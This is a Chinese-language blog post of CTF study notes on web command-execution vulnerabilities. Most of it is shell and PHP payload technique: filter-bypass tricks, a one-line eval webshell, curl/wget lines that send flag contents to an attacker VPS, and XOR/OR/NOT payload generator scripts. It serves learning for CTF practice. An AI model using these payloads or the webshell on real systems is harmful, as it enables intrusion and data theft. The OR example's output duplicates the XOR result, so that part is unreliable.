补档系列

这是小白补档系列的第一章,命令执行。
是我之前学命令执行或在做 CTF 题时遇到的知识点
如知识点不全,还请评论告诉我~

# 简介

命令执行漏洞就是黑客可以直接在 web 应用中执行系统命令,从而获取敏感信息或者拿下 shell 权限。

# 形成原因

应用有时需要调用一些执行系统命令的函数,当用户能控制这些函数的参数,并且开发人员对这个参数没有严格的过滤时就可以讲恶意系统命令拼接到正常的命令中,从而造成命令执行攻击,这就是命令执行漏洞

# 分类

  1. 系统命令执行漏洞:传入系统命令
  2. PHP 代码执行漏洞:传入 PHP 代码

# 系统命令执行函数

# system

  1. 含义

    执行外部程序,并且显示输出

  2. 语法

    system(string $command, int &$result_code = null): string|false

# exec

  1. 含义

    执行系统外部命令时不会输出结果,而是返回结果的最后一行

  2. 语法

    exec(string $command, array &$output = null, int &$result_code = null): string|false

# shell_exec

  1. 含义

    通过 shell 执行命令并将完整的输出以字符串的方式返回,实际上仅是反撇号 (`) 操作符的变体

  2. 语法

    shell_exec(string $command): string|false|null

# passthru

  1. 含义

    ​ 直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。

  2. 语法

    passthru(string $command, int &$result_code = null): ?false

# popen

  1. 含义

    打开进程文件指针

  2. 语法

    popen(string $command, string $mode): resource|false

# proc_open

  1. 含义

    执行一个命令,并且打开用来输入 / 输出的文件指针。

  2. 语法

    proc_open(
        array|string $command,
        array $descriptor_spec,
        array &$pipes,
        ?string $cwd = null,
        ?array $env_vars = null,
        ?array $options = null
    ): resource|false

# pcntl_exec

  1. 含义

    在当前进程空间执行指定程序

  2. 语法

    pcntl_exec(string $path, array $args = [], array $env_vars = []): bool

# PHP 代码执行漏洞

在 php 语言里有一些函数将输入的字符串参数当作 php 代码执行

# eval

把字符串当成 php 代码执行

一句话木马的常客

# preg_replace

执行一个正则表达式的搜索和替换

# assert

检查一个断言是否为 FALSE

除此之外还有

ob_start()、unserialize()、creat_function() 、usort()、uasort()、uksort()、 array_filter()、 array_reduce()、 array_map()

# 防御命令执行漏洞函数

# escapeshellarg()

把字符串转码为可以在 shell 命令里使用的参数

# escapeshellcmd()

转义命令中的所有 shell 元字符,# &;`,|*?~<>^(){}$\

# 命令拼接符号

如果要问命令执行漏洞中一定要会的东西是什么,那一定是命令拼接符,因为恶意命令通常是拼接在正常命令后面,会用命令执行拼接符才是你利用命令执行漏洞的基础

# Windows

拼接符示例拼接符的详解
&A&B无论 A 是 false 还是 true,B 都执行,即互不影响
&&A&&B具有短路效果,A 是 false,B 就不执行,有短路效果
|A|B表示 A 命令语句的输出,作为 B 命令语句的输入执行。当 A 为 false 的时候将不会执行
||A||B表示 A 命令语句执行失败,然后才执行 B 命令语句

# Linux

拼接符拼接符的详解
&使命令在后台运行,只要在命令后面跟上一个空格和 '&' 你就可以运行多个命令
;可以进行多条命令的无关联执行,每一条执行结果互不影响
&&跟 windows 一个作用
||跟 windows 一个作用
()如果想执行几个命令,则需要用命令分隔符分号隔开每个命令,并使用命令组合起来

# 简述

常用的命令拼接符这里都说完了,但需要注意的是,使用时不要局限于单一个符号,层层嵌套起来会展示出不一样的效果,需要思维灵活变通,比如结合 ||&& 可以实现复杂的功能

# 常见的绕过方法

# 空格过滤

  1. ${IFS}

    root@VM-12-9-ubuntu:/# cat${IFS}flag
    you are good!
  2. $IFS$9

    加个 $ 是为了起到截断作用,$9 只是当前系统 shell 进程的第九个参数的持有者,它始终为空字符串

    root@VM-12-9-ubuntu:/# cat$IFS$9flag
    you are good!
  3. %09

    (需要 PHP 环境,不作演示)

  4. < 或者 <> 重定向

    root@VM-12-9-ubuntu:/# cat<flag
    you are good!
    root@VM-12-9-ubuntu:/# cat<>flag
    you are good!
  5. {}

    root@VM-12-9-ubuntu:/# {cat,flag}
    you are good!
# 例题

NSSCTF

[SWPUCTF 2021 新生赛] babyrce

[GXYCTF 2019]Ping Ping Ping

# 黑名单过滤

比如说过滤了 cat 或者 flag 或 php

  1. 变量拼接
root@VM-12-9-ubuntu:/# a=c;b=at;c=fl;d=ag;$a$b $c$d
you are good!
  1. 单引号或双引号绕过
root@VM-12-9-ubuntu:/# ca't' f'l'ag
you are good
root@VM-12-9-ubuntu:/# c"a"t fl"a"g
you are good!
  1. HEX 编码绕过
###
$(printf "\154\163")
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0
###
root@VM-12-9-ubuntu:/# $(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")
you are good!
  1. base64 编码绕过
root@VM-12-9-ubuntu:/# echo Y2F0IGZsYWc=|base64 -d|sh
you are good!
  1. 反引号绕过
root@VM-12-9-ubuntu:/# cat fl`a`ag
a: command not found
you are good!
  1. 反斜杠绕过
root@VM-12-9-ubuntu:/# cat f\lag
you are good!
  1. 读取文件绕过

cat 被过滤时

more:一页一页的显示档案内容
less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
head:查看头几行
tac:从最后一行开始显示,可以看出 taccat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
root@VM-12-9-ubuntu:/# more flag
you are good!
  1. $1、$2等和$@
root@VM-12-9-ubuntu:/# c$1at flag
you are good!
root@VM-12-9-ubuntu:/# cat fl$@ag
you are good!

# 通配符绕过

? 代表一个字符

* 代表一串字符

root@VM-12-9-ubuntu:/# /???/?at flag	#/bin 目录下的 cat
you are good!
root@VM-12-9-ubuntu:/# /???/?at f*		#/bin 目录下的 cat 查询所有带有 f 开头的文件
you are good!

当初学到这个姿势时也是惊呆了,真的长见识了 wwww

# 内敛执行绕过

命令$(命令) 都是执行命令的方式

root@VM-12-9-ubuntu:/# echo "more`cat flag`"
moreyou are good!
root@VM-12-9-ubuntu:/# echo "more $(cat flag)"
more you are good!

# 长度限制绕过

  1. >>> 两个符号的使用

    使用 > 命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建文件再存入

    root@VM-12-9-ubuntu:/# echo "cat flag" > 1.php
    root@VM-12-9-ubuntu:/# sh 1.php
    you are good!

    使用 >> 则会将字符串添加至文件内容末尾,不会覆盖原内容

    root@VM-12-9-ubuntu:/# echo "haha" >> 1.php
    root@VM-12-9-ubuntu:/# cat 1.php
    cat flag
    haha
  2. 命令换行

换行执行命令

root@VM-12-9-ubuntu:/# ca\
> t\
>  fl\
> ag
you are good!

也可以写一个 php 文件来执行命令

root@VM-12-9-ubuntu:/# echo "ca\\">3.php
root@VM-12-9-ubuntu:/# echo "t\\">>3.php
root@VM-12-9-ubuntu:/# echo " fl\\">>3.php
root@VM-12-9-ubuntu:/# echo "ag">>3.php
root@VM-12-9-ubuntu:/# cat 3.php
ca\
t\
 fl\
ag
root@VM-12-9-ubuntu:/# sh 3.php
you are good!

# 无回显 RCE

  1. 要是输入系统命令没有值回显,就可能是无回显的 RCE,我们可以用 ls;sleep(5); 测试是否会执行我们的 sleep 指令,如能执行则进行下一步,对其进行各种权限的测试

    copy flag 1.txt #复制
    mv flag 1.txt	#移动
    cat flag > 1.txt	#写入
    tar zcvf flag.tar.gz flag	#压缩
    echo "<?php @eval($_POST['K1nako']);?>" > webshell.php #一句话木马
  2. vps 建立记录脚本

    利用自己的服务器建立一个 rap.php 的文件,写入如下代码

    <?php
    $data = $_GET['data'];
    $f = fopen("flag.txt", "w");
    fwrite($f,$data);
    fclose($f);
    ?>

    然后开始构造请求

    curl http://*.*.*.*/rap.php?data=`cat flag`
    wget http://*.*.*.*/rap.php?data=`cat flag`
# 例题

NSSCTF

[SWPUCTF 2021 新生赛] finalrce

# 无字母数字 RCE

这里对于我这种小白来说太难理解了,这里借鉴了大佬们的脚本及思路

代码示例

<?php
  error_reporting(0);
  highlight_file(__FILE__);
  $code=$_GET['code'];
  if(preg_match('/[a-z0-9]/i',$code)){
      die('hacker');
  }
  eval($code);

代码分析

接收一个 code 参数,进行一个正则匹配,匹配所有的字母和数字,匹配到就会返回一个 hacker 字符串且结束代码

这里很明显需要我们绕过正则表达式运行 eval 函数执行我们的系统命令

# 异或

首先利用如下脚本生成包含所有可见字符的异或构造结果

<?php
    $myfile = fopen("yihuo.txt", "w");
    $contents="";
    for ($i=0; $i < 256; $i++) { 
      for ($j=0; $j <256 ; $j++) { 
    
        if($i<16){
          $hex_i='0'.dechex($i);
        }
        else{
          $hex_i=dechex($i);
        }
        if($j<16){
          $hex_j='0'.dechex($j);
        }
        else{
          $hex_j=dechex($j);
        }
        $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
              echo "";
        }
      
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)^urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
          $contents=$contents.$c." ".$a." ".$b."\n";
        }
      }
    
    }
    }
    fwrite($myfile,$contents);
    fclose($myfile);

运行 python 脚本生成我们的 payload

import requests
import urllib
from sys import *
import os
def action(arg):
       s1=""
       s2=""
       for i in arg:
           f=open("yihuo.txt","r")
           while True:
               t=f.readline()
               if t=="":
                   break
               if t[0]==i:
                   #print(i)
                   s1+=t[2:5]
                   s2+=t[6:9]
                   break
           f.close()
       output="(\""+s1+"\"^\""+s2+"\")"
       return(output)
       
    while True:
       param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
       print(param)

执行结果

("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");

image-20230521235357605

#

<?php
    $myfile = fopen("huo.txt", "w");
    $contents="";
    for ($i=0; $i < 256; $i++) { 
      for ($j=0; $j <256 ; $j++) { 
    
        if($i<16){
          $hex_i='0'.dechex($i);
        }
        else{
          $hex_i=dechex($i);
        }
        if($j<16){
          $hex_j='0'.dechex($j);
        }
        else{
          $hex_j=dechex($j);
        }
        $preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
              echo "";
        }
      
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
          $contents=$contents.$c." ".$a." ".$b."\n";
        }
      }
    
    }
    }
    fwrite($myfile,$contents);
    fclose($myfile);

python 脚本生成 payload

import requests
import urllib
from sys import *
import os
def action(arg):
       s1=""
       s2=""
       for i in arg:
           f=open("huo.txt","r")
           while True:
               t=f.readline()
               if t=="":
                   break
               if t[0]==i:
                   #print(i)
                   s1+=t[2:5]
                   s2+=t[6:9]
                   break
           f.close()
       output="(\""+s1+"\"|\""+s2+"\")"
       return(output)
       
    while True:
       param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
       print(param)

执行结果

("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");

image-20230522000024700

# 取反

直接用 php 脚本生成 payload

<?php  //在命令行中运行
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
?>

image-20230522000359085

# 例题

NSSCTF

[SWPUCTF 2021 新生赛] hardrce

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

K1nako 微信支付

微信支付

K1nako 支付宝

支付宝